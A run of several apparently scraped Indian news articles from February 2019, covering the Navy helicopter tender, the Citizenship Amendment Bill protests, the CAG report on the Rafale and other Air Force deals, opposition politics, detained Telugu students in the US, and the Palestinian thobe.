Defence minister Nirmala Sitharaman-led Defence Acquisition Council (DAC) cleared the NUH project last August under the governments strategic partnership (SP) model that seeks to provide impetus to the Make in India programme.

The SP model envisages local manufacturing of major defence platforms by an Indian strategic partner, which will collaborate with a foreign original equipment manufacturer (OEM) to set up production facilities in India.

Navy spokesperson Captain DK Sharma said the Indian companies likely to take part in the contest are Tata Advanced Systems Ltd, Mahindra Defence, Adani Defence, L&T, Bharat Forge and Reliance Infrastructure. He said the OEMs likely to participate are Lockheed Martin, Airbus Helicopters, Bell Helicopters, and Rosoboronexport.

The navy is monitoring the project closely and the effort is to replace the Chetaks as early as possible, Sharma said.

The Indian companies have been asked to respond to the EoI in two months, while the OEMs have been given three months due to the nature of inputs required.

The OEMs have been mandated to set up a dedicated manufacturing line, including design, integration and manufacturing processes for NUH in India and make the Indian manufacturing line a global exclusive facility for the NUH platform being offered, he said.

Indian firms would be shortlisted factoring in their capability of system integration, facilities in the aerospace domain and financial strength, he said, adding that the request for proposal would be issued later this year to the local firms that make the cut.

The navy is in desperate need of different types of helicopters, including the NUH. All our major warships are designed to carry two choppers, but we are struggling to keep those hangars occupied. I think the NUH is coming in pretty late but better late than never, said Vice Admiral Pradeep Chauhan (retd), director, National Maritime Foundation.

The helicopters are expected to have an indigenous content of 60%. As part of the NUH project, 16 choppers would be bought in a flyaway condition from the foreign OEM, and the remaining 95 will be built in the country.

The SP policy stipulates that a minimum number of platforms, not exceeding 10-15% of the units being procured, may be manufactured on the premises of the original equipment manufacturer.

The navy uses such choppers for search and rescue operations, medical evacuation, communication duties, anti-piracy and anti-terrorism operations, humanitarian assistance and surveillance and targeting.Thousands of protesters across northeast started celebrations on Wednesday afternoon after the Rajya Sabha was adjourned sine die without tabling the controversial Citizenship (Amendment) Bill, 2016.

The CAB, which seeks to grant citizenship to non-Muslims from Bangladesh, Pakistan and Afghanistan, was passed in Lok Sabha last month and was expected to be tabled in the Rajya Sabha on Wednesday.

Protests against the proposed legislation had roiled the Northeast over fears that it might lead to surge of migration from Bangladesh to the region. Several of BJPs allies in the region including chief ministers of two BJP-ruled states had expressed reservation on the bill.

As soon as news broke that the Bill was not tabled in Rajya Sabha, members of All Assam Students Union (AASU), who were protesting against the proposed legislation, burst crackers and distributed sweets at the student bodys head office in Guwahati.

Similar celebrations took place at several other locations where protesters took to the streets to celebrate the historic win.

It is a historic day and victory for democracy. Due to the protests, the government didnt dare to table the legislation. We have got a temporary relief, said AASU general secretary Lurinjyoti Gogoi.

In Assam where a BJP-led coalition is in power, close to 100 organisations and groups belonging to indigenous communities have been protesting for past few months against the Bill.

We have won and the people of Assam and NE have won. Indian democracy and its secular credentials have won. We thank all parties and groups who supported the protests against the legislation, farmers rights activist Akhil Gogoi told journalists in New Delhi.

BJPs ally in Assam, Asom Gana Parishad, had withdrawn support to the coalition last month in protest against CAB as it felt the legislation would go against provisions of Assam Accord of 1985, which sought identification and deportation of illegal immigrants who entered the state after March 24, 1971.

While the development was welcomed by most groups, organizations of Bengali speakers in Assam, mainly in Barak Valley where there was support for CAB, blamed the BJP.

The Centre has been fooling Bengali speakers for a long time. They (BJP) knew they didnt have majority in Rajya Sabha, so why did they not go for a joint session? questioned Shantanu Mukherjee, coordinator of Bengali United Forum of Assam.

On January 29, ten political parties from the region including several past and present BJP allies had formed a joint front to oppose the CAB and lobby in Delhi against it.

Manipur chief minister N. Biren Singh who is heading a BJP-led coalition tweeted, On behalf of the people of northeast and in particular Manipur, I would like to profusely thank PM Narendra Modiji, (BJP) President Amit Shahji, and HM Rajnath Singhji for not tabling the CAB and opting for consensus driven approach. We deeply appreciate your affection for NE.

Manipur had witnessed large scale protests in recent weeks against the CAB with the government clamping curfew in two districts and suspending internet services.

We appeal to BJP to withdraw it completely for it is a question of our identity and we will not sit quietly if it is pushed again, said SM Jalal, one of the convenors of Peoples Alliance Manipur, an umbrella group protesting the legislation.

In Tripura, CPM state secretary Gautam Das said, The result of prolonged protests in northeastern states opposing CAB got reflected in Rajya Sabha today. We congratulate all members of Parliament for this.

National Peoples Party president and Meghalaya chief minister Conrad Sangma who had convened the meeting of regional parties in Guwahati to oppose the CAB has emerged as the hero of the moment.

This is a great moment for all citizens of northeast as we all stood united to oppose the CAB. I would like to thank all the people who have been working tirelessly to oppose the bill and all political parties across the country who supported our cause, Sangma said.

But senior BJP leader and Assam minister Himanta Biswa Sarma, a staunch advocate of the Bill said its non-passage would be detrimental for the state.

If the bill is not passed, 17 assembly constituencies in Assam would go to the hands of Bangladeshi Muslims. Our party supports the bill. As of now we dont have majority in Rajya Sabha, when we have it, we will pass the bill, he told journalists.

(With inputs from David Laitphlang in Shillong and Priyanka Deb Barman in Agartala)Union minister Arun Jaitley has said that the report by the Comptroller and Auditor General (CAG) on Rafale deal has vindicated the Narendra Modi governments stand on the defence agreement. He targeted Congress president Rahul Gandhi accusing him of manufacturing a lie every day over Rafale deal.

The CAG report has completely vindicated stand of NDA government. It has blasted the big lie which was being spearheaded by the Congress. The Congress president had manufactured a statistic 500 versus 1600, data which doesnt exist anywhere. He repeated that lie ad nauseam, said Jaitley in an interview to news agency ANI.

The Congress has alleged that the Rafale deal signed under the Modi government was costlier than the one being negotiated by the UPA regime. Gandhi has led the oppositions attack on the Modi government in his bid to make it a major poll plank in the run up to the Lok Sabha elections.

Jaitley also dismissed the Congresss objection to the CAG report prepared under Rajiv Mehrishi saying, No file related to the Rafale deal ever went to him when he was the finance secretary. The Congress has maintained that Mehrishi was part of the team that took decision on finalising the cost of Rafale deal in 2015-16.

On manufactured data, Gandhi repeated a lieon many occasions, said Jaitley adding that after the Supreme Court saw and examined the documents, the controversy should have come to an end.

The CAG report on Rafale deal was tabled in the Rajya Sabha earlier in the day. The CAG report concluded that the 2016 Rafale deal was 2.86 per cent cheaper than the 2007 offer made during the UPA rule.

With the Lok Sabha elections only months away, the Modi government has been under immense pressure in the view of attack by Gandhi over the Rafale deal. Refuting the charge of irregularities and wrong doing on the part of the government, Jaitley said, People of the country have to punish those who have misled the country by manufacturing lies.

He said, The Supreme Court has satisfied itself, the CAG has satisfied itself, the government stands vindicated. The matter doesnt finish here. The people have to punish those who misled the country.

Also Read | CAG report finds Rafale fighter jet deal 2.9 per cent cheaper, sparks fly

Gandhi has slammed the Modi government over Rafale deal on three main counts. He has accused PM Modi of bypassing the defence ministry in negotiating the Rafale deal with France. He also accused him of corruption in Rafale deal alleging that PM Modi reworked the defence agreement in order to benefit newly floated Reliance Defence to benefit his friend Anil Ambani. On Tuesday, Gandhi alleged that PM Modi shared defence secrets with Ambani before the Rafale deal was signed.

Both the government and the Reliance Defence have dismissed the allegations leveled by Gandhi as baseless. The government has maintained that the Rafale deal that was being negotiated during the UPA rule was unfinished and unworkable. The new deal was signed, the government has said, keeping in the interests of the defence forces.The Comptroller and Auditor Generals (CAG) report on the Rafale deal was tabled in the Rajya Sabha on Wednesday. The report finds the Rafale deal negotiated by the Narendra Modi government in 2016 to be cheaper than the one that was being discussed during the UPA regime but said that India paid for some of the India-specific enhancements that were not needed by the Indian Air Force.

 The CAG report, which has some stinging remarks, says that the Rafale contract consisted of six different packages with a total of 14 items. The contracted prices of seven items were higher than the aligned price, the price at which the contract should have been signed after adjusting price variation between 2007 and 2015.

 It says that three items in the Rafale deal including the basic aircraft were procured at the same price. Four other items were purchased at lower than the aligned price making the 2016 contract 2.86 per cent cheaper than the previous cost.

 The defence ministry has been arguing that the 2016 contracted price of 36 basic flyaway Rafale aircraft was 9 per cent lower than the 2007 price. However, the CAG audit report found that the basic flyaway aircrafts were bought at the same price as that of 2007.

 However, the CAG report highlighted, the 2007 offer by Dassault Aviation provided performance and financial guarantees, which was about 25 per cent of the total value of the contract. There was no such guarantee or warranty in the 2016 contract. The auditor observes that this led to a saving for Dassault Aviation that was not passed on to the Indian government.

 In the face of oppositions criticism that the Modi government paid more in the reworked Rafale deal, the Centre has argued that the 2016 contract had more India-specific enhancements. However, the CAG report says that four of the India-specific enhancements were not needed at all. The Indian Air Force had stated the same in its technical evaluation in 2010. But those specifications were included in the Rafale deal.

 The CAG report states that the 2007 offer for 126 Rafale aircraft included transfer of technology or licence to the Hindustan Aeronautics Limited (HAL) for the production of 108 fighter jets. But no such transfer of technology was provided under the 2016 contract.

 Doing away with the transfer of technology clause has been a major criticism of the Modi government by the Congress over the Rafale deal. Congress president Rahul Gandhi has repeatedly charged PM Modi with snatching the contract from the HAL and giving it to Reliance Defence.

 On the issue of sovereign guarantee, the CAG report says the French side did not agree to Indias demand. The defence ministry sought a sovereign guarantee from the French government in lieu of bank guarantee from Dassault Aviation. India had to settle with a Letter of Comfort from the French government. The Congress has made it another point to target the Modi government saying that the new Rafale deal was not secured financially.

 The government has defended the 2016 Rafale deal on counts including faster delivery of the fighter jets. It has defended the deal saying that the air force needed immediate supply of the fighter jets and hence the deal could not have been delayed any further. However, the CAG report observes no big difference in the delivery deadlines for the Rafale fighter jets. Under the 2007 deal, the first 18 flyaway Rafale fighter jets were to be delivered by the 50th month from the date the contract was signed. Under the 2016 deal, the Dassault Aviation is required to supply first 18 aircrafts by the end of 53rd month.

 The CAG report is critical of the defence ministry for signing the Rafale deal on non-firm and fixed price, which is vulnerable to price escalation depending upon the price index. The ministry found it cheaper than the firm and fixed bid. The government claimed saving by adopting this approach but the CAG report says, Audit does not find this claim valid because the same advantage was applicable even in the case of 2007 deal.The Comptroller and Auditor General of India (CAG) report on 11 purchases by the Indian Air Force (IAF) is in the news for what it says about the Rafale deal, but pertinently, it has highlighted several issues in the procurement process followed by India to buy weapons and systems including heavy-lift helicopters, attack choppers and trainer aircraft, and asked the government to change the process to cut delays and keep the military operationally ready.

The audit of a deal for radars highlights how defence acquisition is beset with delays. The report found that IAF took 96 months to buy 11 Doppler weather radars in contrast to the Indian Meteorological Department, which made the same purchase in just 11 months.

In a 141-page report tabled in Parliament on Wednesday, the CAG said the IAFs qualitative requirements for heavy-lift helicopters were aligned to the features of US defence firm Boeings CH-47F Chinook choppers.

The Chinook edged out Russian firm Rostvertols Mi-26 helicopters to win the $1.18 billion deal for 15 choppers. IAF has been operating Mi-26 choppers since 1987.

The max payload capacity was reduced to 11,000 kg as against the 20,000 kg of Mi-26 helicopters. Seating capacity was also reduced to 45 troops as against the 82 troops of Mi-26s. The max under slung load was reduced to 10,000 kg as against 20,000 kg of Mi-26. The revised ASQR parameters matched those of Chinook helicopter, the report said.

Air Staff Quality Requirements (ASQRs) are the specifications put out by the air force for the equipment it needs.

On the Chinook purchase, the defence ministry said broad ASQRs were necessary for multi-vendor bids, a contention rejected by the auditor. CAG said contrary to the ministrys claim, the ASQR did not broaden the competition. The request for proposal was issued to six foreign military contractors in May 2009, but only two responded. India ordered 15 Chinook helicopters in September 2015, of which four arrived this week.

CAG also found that ASQRs were revised five times between 2006 and 2009 based on what vendors had to offer rather than what IAF really needed. The requirement for chaff and flares  defensive countermeasures deployed by military aircraft  was missing in the May 2009 RFP, which was amended in September 2009.

This highlights the lack of professionalism in fixing ASQRs in the defence acquisition process, the report said. CAG highlighted delays at different stages of acquisition including contract negotiation and approval by the competent financial authority (CFA).

While the contract negotiating committee took a considerable period of 27 months as against one-and-a-half months prescribed in DPP-2008 (Defence Procurement Procedure), it achieved a price reduction of 2.17%, the audit found. Also, CFA approval took 10 months instead of the prescribed four.

Unrealistic benchmarking of costs, delays in price evaluation, incorrect framing of ASQRs and poor post-contract management are the common thread of several air force acquisitions in recent years, CAG found.

Scrutinising the $ 1.1-billion Apache helicopter deal inked with Boeing in September 2015, CAG said that ASQRs were changed based on the advice of the US firm.

While revising the ASQRs in 2009, IAF deleted three parameters and diluted one operational parameter based on the suo moto suggestion of Boeing though AgustaWestland was able to meet those parameters, the report said. The ministry, however, said that the parameters were modified based on information from different sources and not merely one company.

The report said preparing ASQRs with inputs from a few vendors posed the risk of aligning the parameters to their platforms. The ASQR parameters which could not be met were changed/deleted and fresh tendering was done. If these parameters were not needed and they should not have been included in the first place, the CAG said.

It found that the defence ministry also bought missiles that were past their shelf life as part of the same deal. It said the US government was supplying missiles whose normal life of 10 years had expired and the ones to be fitted on the attack helicopters would be 14 to 16 years old at the time of delivery.

The report revealed that a simulator for C-130J pilots was installed in December 2012 but training began on it only in November 2016 due to a pending usage rate contract with Lockheed Martin. CAG said according to an IAF probe report, one of the reasons for the March 2014 C-130J crash was inadequate experience and training of the crew. The five-man crew was killed in that crash near Gwalior.

CAGs observations are based on the fact that personnel involved in acquisition, whether in the ministry or the services, have not undergone defence acquisition training, said Air Vice-Marshal Manmohan Bahadur (retd), additional director general, Centre for Air Power Studies.

In all advanced countries, such training is mandatory. The US, for instance, has a defence acquisition university that trains people involved in the procurement cycle. Without doubt, we need to fix our procurement procedure, Bahadur said. He added that service and operational matters should be left to the services.The Comptroller and Auditor General (CAG) report on capital acquisitions by the Indian Air Force (IAF) may compare the Rafale deal with offers made by other manufacturers whose products were being considered, such as the Eurofighter Typhoon made by the European Aeronautic Defence and Space Company (EADS), HT learns.

The report will be tabled in Parliament on Wednesday.

Both Rafale and the Eurofighter Typhoon fighter jets met the requirement of the Indian Air Force and were shortlisted from among six contenders.

The other contenders were the single engine US made F-16 and F-18 Super Hornets, the Swedish Gripen, and the Russian Su-35.

After the bids were opened, EADS offered a 20% discount on the deal for 126 Medium Multi-Role Combat Aircraft (MMRCA) to the National Democratic Alliance (NDA) government. The discount was offered in comparison to the price it originally quoted in 2008 and re-quoted in 2010.

But the Modi government scrapped an old deal and, in 2015, announced a government-to-government deal with France to buy 36 Rafale aircraft in flyaway condition.

An official familiar with the matter said on condition of anonymity that the CAG report had compared the old deal struck by the United Progressive Alliance (UPA) government and the new one by the NDA.

HT learns the report runs into around 140 pages, of which 30 are entirely focused on the Rafale deal.

The report looks at 11 deals, five from the UPA era and six from the NDAs time. All deals were signed between 2012 and 2017.

The official cited in the first instance said prices had been redacted only in the Rafale report while in case of the other 10 contracts, prices have not been redacted.

CAG officials said on condition of anonymity the report will not touch the controversial offset clause of the Rafale deal. The Rafale offset clause will be part of a separate report and it has been audited with all other recent offset deals of all the three defence services  the Air Force, Army and Navy. Indeed, even an entire list of offsets has not been submitted, HT learns.

The scrapping of the UPA deal to buy 126 aircraft has become controversial with opposition parties, led by the Congress, alleging that the new price is much higher than the old one, and that due process wasnt followed. They also allege that the deal was changed to benefit Anil Ambani, through an offset deal his Reliance Defence signed with Dassault, the maker of Rafale. The government says it has managed to get the basic jet at a lower cost, and that all procedures were followed. Reliance Defence has denied any wrongdoing.

The issue was even the subject of a case in the Supreme Court, which did not find any substance in the allegations, although its ruling didnt put an end to the controversy because of some factual errors in the judgement, which, the government claims, are on account of misinterpretation and, the Opposition claims, arise from the government misleading the court.

The government has filed an application to correct the mistakes.

(With inputs from Sudhi Ranjan Sen)Posters, with tongue-in-cheek messages, welcoming West Bengal chief minister Mamata Banerjee popped up at several places in Delhi as Banerjee landed in the Capital on Tuesday to participate in an Opposition rally.

Didi, smile to your hearts content, you are in a democracy, read a message in Hindi on one of the hoardings that also featured caricatures of West Bengal chief minister and have been put up by an organisation known as Youth For Democracy. The slogans clearly take a dig at Banerjee for different political developments in her state in the recent past.

The hoardings, with slogans taking a dig at West Bengal CM Mamata Banerjee, sprung up overnight in central Delhi. (Sanchit Khanna/HT photo)

The hoardings could be seen on central Delhis Jantar Mantar road, Banga Bhawan (on Hailey Road) and Windsor Palace Circle Area.

Read more| Ahead of Oppn show of strength, Naidu sketches broad contours of alliance

With just a few months to go for the Lok Sabha elections, Banerjee is in Delhi to participate in the Tanashahi Hatao, Loktantra Bachao rally of the Aam Aadmi Party almost a month after she organized a similar show of strength in Kolkata.

Another hoarding read, Didi no one is going to prevent you from addressing people here, in obvious reference to the controversy stirred by permissions denied to several Bharatiya Janata Party leaders for holding events in West Bengal, forcing Uttar Pradesh chief minister Yogi Adityanath to telephonically address the people gathered in South Dinajpur for his rally.

Last month, there was a row between the BJP and the Mamata Banerjee government over a landing spot for BJP president Amit Shahs helicopter ahead of his rally in Malda. Permission was also initially denied for the much-publicised rath yatras of Shah

Yet another hoarding read, Welcome to Delhi, where democracy is alive and kicking, Didi. The BJP has often accused Banerjee of stifling democracy in West Bengal, with the latest showdown being over the CBIs move to investigate Kolkata top cop Rajiv Kumar over a failed Ponzi scheme. A BJP leader and union minister Giriraj Singh even compared her with North Korean leader Kim Jong-un.

Bengal is crucial in the BJPs plan for the 2019 Lok Sabha polls and the party has set itself a target of 22 seats in the state. The party which currently holds two seats in the state, has been bolstered with a number of senior Trinamool Congress leaders joining it.

Read more| Mamata Banerjee lands in Delhi on mission to turn a threat into opportunityUPA chairperson and senior Congress leader Sonia Gandhi has hit out at the Narendra Modi government over a range of issues including governance, job creation and social harmony in the last five years. Speaking at the Congress parliamentary party (CPP) meet on Wednesday, Sonia Gandhi targeted the Modi government for allegedly intimidating of the opposition party leaders.

Bluff, bluster and intimidation have been the governance philosophy of the Modi government, Sonia Gandhi said at the party meet, where she expressed renewed confidence and resolve for the Lok Sabha polls following victories in Rajasthan, Chhattisgarh and Madhya Pradesh assembly elections.

Stating that the mandate of 2014 has been betrayed, Sonia Gandhi said under the Modi government, Parliament itself has been immeasurably weakened. Debate and discussion are muzzled.

Sonia Gandhis comments have come at a time when Congress president Rahul Gandhi is leading a charge against the charge against the Modi government over the issues of alleged corruption in Rafale deal, unemployment and farm distress among others.

Unemployment, Demonetisation Scam and Rafale corruption have undermined the Modi governments credibility, said Rahul Gandhi, who also addressed the CPP meet, adding, The Congress party is defeating the BJP in ideological fight as also the daily discourse.

UPA Chairperson Smt. Sonia Gandhi's full speech from the joint meeting of the Lok Sabha & Rajya Sabha CPP in Parliament earlier today. pic.twitter.com/vwlMvYqKHC  Congress (@INCIndia) February 13, 2019

Read more| Demolished: Rahul Gandhi counters PM Modi over Rafales better price, faster deliveryBharatiya Janata Party national general secretary, Ram Madhav, on Tuesday said that Lok Sabha and assembly elections could be held simultaneously in Jammu and Kashmir.

We have to reach out to people through our workers ... and win the forthcoming Parliament polls. There is possibility of holding polls to J&K legislative assembly at that time (LS polls), Madhav said while addressing a function at Jammu, reports PTI.

J&K is presently under Presidents Rule after remaining under the governors rule for six months from June 19 to December 19 last year.The BJP had won 25 seats in the state in 2014 assembly polls.

Madhav was in Jammu for the BJPs Bharat Ke Mann Ke Baat Modiji Ke Saath ahead of elections to solicit suggestions from people across the country to come out with a vision document.

He said people can give their suggestions via a suggestion box, partys mobile vans and on 6357171717.

We expect 10 crore citizens of the country to give their valuable suggestions and become the guiding principle for the next government.

We are confident that under PM Modi and with the efforts of party president Amit Shah and of course with great efforts of Rahul Gandhi, we will form the next government in the country, he added.

Madhav also called Congress president Rahul Gandhi a Chor (thief) and said, Chor Hai Isliye Chowkidaar Ko Gali De Raha Hai (Being a thief himself, he is abusing the Chowkidaar).

Rahul Gandhi at a press conference in New Delhi on Tuesday took a swipe at Comptroller and Auditor General of India (CAG), calling it chowkidar auditor general.

Calling the CAG report on defence procurements, to be tabled in the Lok Sabha absolutely worthless, Rahul said the report was of the chowkidaar, for the chowkidaar, by the chowkidaar.

Madhav said, Rahul Gandhi has no respect for Indian constitutional institutions. There is a saying in Hindi which goes like, Ulta Chor Kotwal Ko Danta Hai. Chor Hai Isliye Chowkidaar Ko Gali De Raha Hai, (Since he is a thief himself, he is abusing the PM).Madhav said that CAG was a constitutional institution and every citizen must respect the institution.

The report must be respected by everybody and only those who dont respect such institutions talk in such language, he added in a reference to Rahul Gandhi.

(With inputs from PTI)The Supreme Court on Wednesday set aside an order by the Bombay High Court refusing to extend the 90-day deadline to the Maharastra government to file the chargesheet against five activists in the Bhima Koregaon violence case, news agency ANI report.

The top court also said that the arrested people can approach the trial court to seek regular bail, reports said.

The Maharashtra government had approached the top court challenging the high courts refusal to grant further time to complete its probe in the Bhima Koregaon violence.

The state wanted an extension of the custody of five alleged Maoist sympathizers who were arrested in connection with the incident in June last year.

Read: Teltumbde gets interim protection from arrest till Feb 22

Pune Police had arrested the five people on June 6, 2018, five months after an FIR was registered in the case. In August, the police made five more arrests after nationwide raids were conducted at the house of human rights activists.

Under the law, police had to file its final report before the court within 90 days, failing which the accused are entitled to bail. For the June arrests, the time ended on October 3.

Read: Urban Naxals and the Teltumbde arrest drama

But as the law permits extension of this period another 90 days, provided the prosecuting agency gives a satisfactory report about the investigation, the police had moved court asking for more time.The Shiv Sena on Wednesday said its leader Sanjay Rauts visit to Andhra Pradesh chief minister N Chandrababu Naidu during his fast in Delhi was merely a courtesy call, and criticised the BJP over handling of its allies.

The Uddhav Thackeray-led party also said what was the guarantee that the BJP will not reach out to its former ally, the Naidu-led TDP, in case it falls short of numbers to form government after the Lok Sabha elections.

Senior Sena leader and Rajya Sabha member Sanjay Raut had on Monday made a surprise appearance at Naidus day-long protest over demand for special status for his state, saying he came to attend the event as a representative of his party, which shares strained relations with senior ally BJP.

Justifying Rauts meeting with Naidu, the Sena, in an editorial in party mouthpiece Saamana, said the leader visited Andhra Pradesh chief minister as a courtesy because his state has been split into two.

We are also against splitting of states. But our visit has been seen as if sky has fallen upon the government, it said.

What is the guarantee that if required, senior BJP leaders will not knock at the doors of Naidu for his support to form government after the Lok Sabha polls? it asked.

Naidu was a great leader till the time he was with the NDA and now he is suddenly untouchable, it quipped.

Recalling BJPs alliance with PDP in Jammu and Kashmir, it said the Mehbooba Mufti-led partys Rajya Sabha member Fayaz Ahmad Mir has demanded return of mortal remains of Parliament attack convict Afzal Guru and Maqbool Bhat, founder of the separatist J&K Liberation Front (JKLF).

Both were buried at the Tihar jail in Delhi. Bhat was hanged in Tihar on February 11, 1984 following his conviction in the killing of an intelligence official while Guru was hanged on February 9, 2013.

This demand is preposterous. But it is the same PDP with which the BJP had shared power in Jammu and Kashmir. During that time, the state saw maximum bloodshed, several attacks took place and some were even rewarded despite having terror links, the Sena claimed.

Nobody had any issue then, but the Sena paying a courtesy visit to the TDP is severely criticised, the Marathi daily said without naming anyone.

We understand the difference between the PDP and the TDP better, it said.

The Sena, which is an ally of the BJP at the Centre and in Maharashtra, claimed the activities of Mehbooba Muftis party are pro-Pakistan and demanded that it be considered as anti-national.

Though the Sena has taken a radical stance on Hindutva, we do not consider those as enemies who have a different view than ours. But, AIMIM spewing out venom is an anti-national activity, it opined.After being ambiguous for two months, the AIADMK finally confirmed on Wednesday that they are in talks for alliance with the BJP, actor Vijayakanths DMDK and the PMK (a party representing interests of OBC Vanniyars) for the Lok Sabha elections in Tamil Nadu.

The major opposition DMK has already joined hands with Congress and other secular forces including CPI, CPI(M), Vaikos MDMK and (VCK), a Dalit party. However, the ruling AIADMK is yet to finalize its poll allies.

While speculations had been rife for the past two months that AIADMK is likely to join hands with BJP, DMDK, and PMK, the ruling party leaders had been ambivalent about admitting it. On Wednesday, AIADMKs Rajya Sabha MP and partys alliance committee in-charge R Vaithilingam finally told reporters that they are in talks with BJP, DMDK and PMK.

According to Vaithilingam, the alliance will be finalised once the dates for elections are announced.

We have been talking with those parties to form an alliance. Soon, we would announce it, the AIADMK deputy co-ordinator told the media.

We are speaking with BJP, DMDK, and PMK. After the election dates are announced, we will officially reveal our alliance to the public, he added.

An internal feud is suspected to have prevented the AIADMK from stitching an alliance with the BJP earlier. The AIADMK which won 37 of the 39 Lok Sbha seats in Tamil Nadu in 2014 is now a much weaker party after it split following the death of J Jayalalithaa in December 2016

The DMDK has already made it clear that they are talking with BJP and others. DMDK has been talking with BJP for forming an alliance. Once, our party leader Vijayakanth comes to Chennai after completing his treatment in the US, he will finalize the alliance, said L K Sudhish, deputy general secretary, DMDK.

SR Shekar, Treasurer and Spokesperson, BJP Tamil Nadu said, Our general secretary Muralidhar Rao has already confirmed the same. We have started talks with various parties. As Rao has said we will announce our alliance within a few days.

Amid these developments, BJP chief Amit Shah is all set to visit Erode on Thursday to address booth level workers.

The PMKs youth wing secretary and former union minister Anbumani Ramadoss has already said that they are in talks with AIADMK and DMK indicating that it is bargaining with both parties.

However, observers say that PMK is most likely to join the AIADMK lead alliance.

Even as Anbumani has said that his party is speaking with both DMK and AIADMK, his father S Ramadoss, the founder of PMK, has been praising the AIADMK governments budget. So, the indications are clear that the PMK is moving towards AIADMK. While DMK has shut doors for DMDK, they have no other options than joining the AIADMKBJP camp, said Aazhi Senthilnathan, a political analyst.Top leaders of major opposition parties got together at Nationalist Congress Party chief Sharad Pawars home in New Delhi late on Wednesday evening.

Among those present at the opposition meeting were Congress chief Rahul Gandhi, Andhra Pradesh CM N Chandrababu Naidu, National Conference chief Farooq Abdullah, West Bengal chief minister Mamata Banerjee and Delhi chief minister Arvind Kejriwal.

After it concluded, Rahul Gandhi called the meeting was constructive, according to news agency ANI.

We had a very constructive meeting. We agreed that principal target for all of us is to fight against assault on institutions being carried out by BJP, he said.

The meeting comes hours after a massive opposition rally in New Delhi in which various political leaders launched a scathing attack on Prime Minister Narendra Modi on a host of issues.

During the Opposition rally Delhi chief minister Arvind Kejriwal claimed that the PM was trying to tear apart the Constitution and destroy democracy.

Also read: Ahead of Opposition show of strength, Chandrababu Naidu sketches broad contours of alliance

The late evening meeting is possibly to cobble together an alliance of sorts of the Opposition parties ahead of the Lok Sabha elections to take on the BJP.

The daylong mega show of strength did not see as many Opposition leaders as Mamatas United India rally had on January 19. Leaders from only 15 parties turned up for the Delhi show as against the 23 who had turned up for the Kolkata rally.

Rahul Gandhi, who had not attended the Kolkata rally did not attend todays Delhi show either, instead sent senior party leader Anand Sharma to represent the party.

Mamata Banerjee had earlier in the day said that while the TMC and Congress will contest against each other in the state, they are friends at the national level to fight the BJP.

Congress, CPM will fight against us in Bengal but will be together nationally, she said at the Tanashahi Hatao, Desh Bachao (Remove Dictatorship, Save Country) rally in Delhs Jantar Mantar hosted by the Aam Admi party (AAP). She insisted that Prime Minister Narendra Modi needed to go. Modi hatao, desh bachao, (Remove Modi, save country), Banerjee said.

Reiterating that Modis days were over, Mamata dared him to arrest her.

Today is the last day of Parliament, Modis expiry date is over. It is only a matter of days, jo darte hain woh marte hain; joh larte hain woh jeet tey hain (Those who are scared, perish, those who fight, win), They cant scare us for long. What will Modi do? Send me to jail, set agencies against us or murder us? We are not the ones to be afraid.

Protesting against the Centres refusal to grant special category status to Andhra Pradesh, TDP leader N Chandrababu Naidu had exited the National Democratic Alliance (NDA) in March last year. Since then, he has been holding talks with various opposition parties to stitch together an alliance as an alternative to the BJP-led NDA. Naidu hopes to retain Andhra Pradesh and win enough Lok Sabha seats to have a voice in an anti-Modi coalition in the Centre.Nineteen Telugu students who had enrolled with Farmington University, a fake institution floated by the federal police in Michigan, US, to expose a pay-to-stay racket, have been granted permission for voluntary departure to India by a local court.

In all, 20 students have been under detention at two centres  12 at Callahan County detention centre and eight at Michigan Monroe detention centre -- since January 31. Of the 20, three students  two Telugus and a Palestinian -- got the departure permission last Saturday. The remaining 17, all Telugus, were granted the permission by a Michigan court on Tuesday.

According to Venkat Manthena, a representative of the American Telangana Association (ATA-Telangana), one of the Telugu students who was married to a US citizen wanted to stay back and argue his own case, while another student was allowed to leave for India, but under the US government removal order. All the remaining students were granted permission to leave the US voluntarily.

There are another 100 Telugu students held up at 30 other detention centres who are still awaiting court orders. Some have come out of the detention centres on bail bond and others are in the process of getting the same. If the courts in their respective states grant permission for voluntary departure, they can come back to India. It all depends on the intensity of the charges against them and the discretion of the judges, AP Non-Resident Telugus (APNRT) Society coordinator Sagar Doddapaneni said.

The students who have got voluntary departure permission have to leave for India through identified routes as directed by the US Immigration and Customs Enforcement (ICE) authorities, who would make arrangements for taking them to the airport.

Though the students were given time till February 26, they are getting ready to return to India as early as possible. If they complete the paper work fast, the first batch of students might leave the US by this weekend, Doddapaneni said.

ATA-Telangana representatives who met Elissa Slotkin, a Congress representative from Michigan, last Friday, have requested that the students get necessary help, by law, so they can leave the country.The traditional brightly embroidered dress of Palestinian women known as the thobe was not the type of garment one would expect to become a pop political symbol.

Now its gaining prominence as a softer expression of Palestinian nationalism, competing even with the classic keffiyeh  the headscarf donned by young stone-throwing Palestinian men protesting Israels occupation.

The robe, adorned with elaborate hand-stitched embroidery, requires months of gruelling labour. Some thobes fetch thousands of dollars. The traditional textiles call to mind a bygone era of Palestinian peasant women sewing on a break from the fields.

Last month, Rashida Tlaib proudly wore her mothers thobe to her historic swearing-in as the first female Palestinian American member of Congress, inspiring masses of women around the world, especially in the Palestinian territories, to tweet photos of themselves in their ancestral robes.

The historic thobe conjures an ideal of pure and untouched Palestine, before the occupation, said Rachel Dedman, curator of a recent exhibit at the Palestinian Museum focused on the evolution of Palestinian embroidery. Its more explicitly tied to history and heritage than politics. Thats what makes it a brilliant symbol.

The Palestinian thobe traces its history to the early 19th century, when embroidery was confined to the villages.

Richly decorated dresses marked milestones in womens lives: onset of puberty, marriage, motherhood. The designs varied from village to village  special three-dimensional stitching for the upper class of Bethlehem, big pockets for the nomadic Bedouin women, orange branch motifs for the orchard-famous city of Jaffa, said Maha Saca, director of the Palestinian Heritage Center in Bethlehem.

Thobe patterns also expressed womens different social positions: red for brides, blue for widows, blue with multicoloured stitches for widows considering remarriage.

While Arab women across the region have worn hand-made dresses for centuries, the thobe has taken on a distinctly Palestinian character, particularly since the establishment of Israel in 1948. Hundreds of thousands of Palestinians either fled or were expelled from their homes during the war surrounding Israels creation. Many took only their dresses with them into the diaspora, Saca added.

The war, which Palestinians call their nakba, or catastrophe, transformed the thobe.

Suddenly, in the face of dispossession and cultural appropriation by Israelis, embroidery became an urgent task, Dedman said. The dress was taken up and politicized.

Over decades of conflict that has claimed thousands of lives on both sides, Palestinian nationalism has taken on many forms.

